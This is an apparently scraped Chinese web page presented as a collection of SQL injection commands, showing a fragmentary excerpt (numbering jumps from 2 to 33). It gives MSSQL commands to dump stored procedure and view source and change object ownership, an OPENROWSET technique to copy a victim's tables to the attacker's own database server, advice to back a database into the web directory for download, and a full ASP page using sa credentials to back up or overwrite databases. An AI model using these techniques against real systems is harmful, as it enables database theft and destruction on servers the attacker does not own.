最全的SQL注入命令及方法-网络收集<br /> 1。获得所有的存储过程的脚本:<br /> EXEc sp_MSforeachObject @command1=&quot;sp_helptext '?' &quot;,@objectType=4<br /> 2。获得所有的视图的脚本:<br /> EXEc sp_MSforeachObject @command1=&quot;sp_helptext '?' &quot;,@objectType=2<br /> EXEc sp_MSforeachObject @command1=&quot;sp_changeobjectowner '?', 'dbo'&quot;,@objectType=1<br /> EXEc sp_MSforeachObject @command1=&quot;sp_changeobjectowner '?', 'dbo'&quot;,@objectType=2<br /> EXEc sp_MSforeachObject @command1=&quot;sp_changeobjectowner '?', 'dbo'&quot;,@objectType=3<br /> EXEc sp_MSforeachObject @command1=&quot;sp_changeobjectowner '?', 'dbo'&quot;,@objectType=4<br /> */<br /> 33、DB_OWNER权限下的数据库备份方法<br /> 用openrowset吧。反连到自己的数据库机器,~先在本地建个跟目标机器一样结构的表~字段类型使用nvarchar.然后用海洋连接对方的SQL数据库,在查询分析那里执行<br /> insert into OPENROWSET ('sqloledb','server=你数据库服务器的IP;uid=user;pwd=pass;database=dbname;','select * from 你建立的表) select * from 对方的表?<br /> 要是数据量太大的话就看看他数据库里有没有自动编号的字段.select * from 表名 where id&gt;100<br /> 这样来弄吧<br /> 要是和WEB同台的话,直接将库BAK到WEB目录下回来就OK啦。。。不过前提库不能太大,超过2G的话SQL就超时了<br /> 如果是SA权限可以利用下面的两个ASP程序来备份数据库:<br /> sqlbackup1.asp<br /> &lt;HTML&gt;<br /> &lt;HEAD&gt;<br /> &lt;TITLE&gt;SQL Server 数据库的备份与恢复&lt;/TITLE&gt;<br /> &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=gb2312&quot;&gt;<br /> &lt;/HEAD&gt;<br /> &lt;BODY&gt;<br /> &lt;form method=&quot;post&quot; name=myform&gt;<br /> 选择操作:&lt;INPUT TYPE=&quot;radio&quot; NAME=&quot;act&quot; id=&quot;act_backup&quot; value=&quot;backup&quot;&gt;&lt;label for=act_backup&gt;备份&lt;/label&gt; <br /> &lt;INPUT TYPE=&quot;radio&quot; NAME=&quot;act&quot; id=&quot;act_restore&quot; value=&quot;restore&quot;&gt;&lt;label for=act_restore&gt;恢复&lt;/label&gt;<br /> &lt;br&gt;数据库名:&lt;INPUT TYPE=&quot;text&quot; NAME=&quot;databasename&quot; value=&quot;&lt;%=request(&quot;databasename&quot;)%&gt;&quot;&gt;<br /> &lt;br&gt;文件路径:&lt;INPUT TYPE=&quot;text&quot; NAME=&quot;bak_file&quot; value=&quot;c:\1.exe&quot;&gt;(备份或恢复的文件路径,备份成EXE主要为了方便下载,活活..)&lt;br&gt;<br /> &lt;input type=&quot;submit&quot; value=&quot;确定&quot;&gt;<br /> &lt;/form&gt;<br /> &lt;%<br /> dim sqlserver,sqlname,sqlpassword,sqlLoginTimeout,databasename,bak_file,act<br /> sqlserver = &quot;localhost&quot; 'sql服务器<br /> sqlname = &quot;sa&quot; '用户名<br /> sqlpassword = &quot;数据库密码&quot; '密码<br /> sqlLoginTimeout = 15 '登陆超时<br /> databasename = trim(request(&quot;databasename&quot;))<br /> bak_file = trim(request(&quot;bak_file&quot;))<br /> bak_file = replace(bak_file,&quot;$1&quot;,databasename)<br /> act = lcase(request(&quot;act&quot;))<br /> if databasename = &quot;&quot; then<br /> response.write &quot;input database name&quot;<br /> else<br /> if act = &quot;backup&quot; then<br /> Set srv=Server.createObject(&quot;SQLDMO.SQLServer&quot;)<br /> srv.LoginTimeout = sqlLoginTimeout<br /> srv.Connect sqlserver,sqlname, sqlpassword<br /> Set bak = Server.createObject(&quot;SQLDMO.Backup&quot;)<br /> bak.Database=databasename<br /> bak.Devices=Files<br /> bak.Files=bak_file<br /> bak.SQLBackup srv<br /> if err.number&gt;0 then<br /> response.write err.number&amp;&quot;&lt;font color=red&gt;&lt;br&gt;&quot;<br /> response.write err.description&amp;&quot;&lt;/font&gt;&quot;<br /> end if<br /> Response.write &quot;&lt;font color=green&gt;备份成功!&lt;/font&gt;&quot;<br /> elseif act = &quot;restore&quot; then<br /> '恢复时要在没有使用数据库时进行!<br /> Set srv=Server.createObject(&quot;SQLDMO.SQLServer&quot;)<br /> srv.LoginTimeout = sqlLoginTimeout<br /> srv.Connect sqlserver,sqlname, sqlpassword<br /> Set rest=Server.createObject(&quot;SQLDMO.Restore&quot;)<br /> rest.Action=0 ' full db restore<br /> rest.Database=databasename<br /> rest.Devices=Files<br /> rest.Files=bak_file<br /> rest.ReplaceDatabase=True 'Force restore over existing database<br /> if err.number&gt;0 then<br /> response.write err.number&amp;&quot;&lt;font color=red&gt;&lt;br&gt;&quot;<br /> response.write err.description&amp;&quot;&lt;/font&gt;&quot;<br /> end if<br /> rest.SQLRestore srv<br /> Response.write &quot;&lt;font color=green&gt;恢复成功!&lt;/font&gt;&quot;<br /> else<br /> Response.write &quot;&lt;font color=red&gt;没有选择操作&lt;/font&gt;&quot;<br /> end if<br /> end if<br /> %&gt;<br /> &lt;/BODY&gt;<br /> &lt;/HTML&gt;
返回顶部 留言